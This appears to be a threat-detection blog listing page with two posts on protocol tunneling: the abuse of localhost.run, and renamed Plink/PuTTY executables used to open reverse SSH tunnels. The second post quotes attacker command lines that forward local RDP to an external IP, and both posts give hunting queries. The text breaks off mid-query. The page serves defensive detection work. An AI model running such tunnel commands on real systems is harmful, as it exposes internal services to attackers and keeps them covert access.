Posts

Showing posts with the label t1572

409. Adversaries Abuse Localhost[.]run for Tunneling

Image
Hello everyone! Tunnels. Attackers are coming up with more and more ways to implement them. Today, we’ll take another look at the Protocol Tunneling technique (T1572) . There are plenty of free tunneling services that allow a local service to be exposed to the internet through a public URL. For example, attackers often use Cloudflare Tunnel. However, according to this report , threat actors also used localhost [.] run . You can detect traces of its use, for example, by monitoring communications with lhr [.] life subdomains: event_type: dnsreq* AND dns_rname: "lhr.life" See you soon!

316. Adversaries Keep Using Plink and Putty to Establish a Reverse SSH Tunnel

Image
Hello everyone! Let's keep talking about how adversaries misuse various legitimate tools. And this time talk a bit about Protocol Tunneling (T1572) . According to this report , the threat actors leveraged both Plink and Putty to set up an encrypted tunnel: C:\windows\temp\sihosts.exe -batch -hostkey "ssh-rsa 2048 SHA256:<REDACTED>" -ssh -P 433 -l <REDACTED> -pw <REDACTED> -R 216.107.136[.]46:17400:127.0.0.1:3389 216.107.136[.]46 C:\windows\temp\silcon.exe  -ssh -P 433 -l <REDACTED> -pw <REDACTED>-R 216.107.136[.]46:17400:127.0.0.1:3389 216.107.136[.]46 Yes, we're dealing with renamed executables again, and yes, executables can be renamed legitimately, but it still provides us good hunting oportunities: event_type: "processcreatewin" AND proc_file_originalfilename: "putty" AND NOT proc_file_path: "putty.exe" And the same for Plink: event_type: "processcreatewin" AND proc_file_originalfilename: "...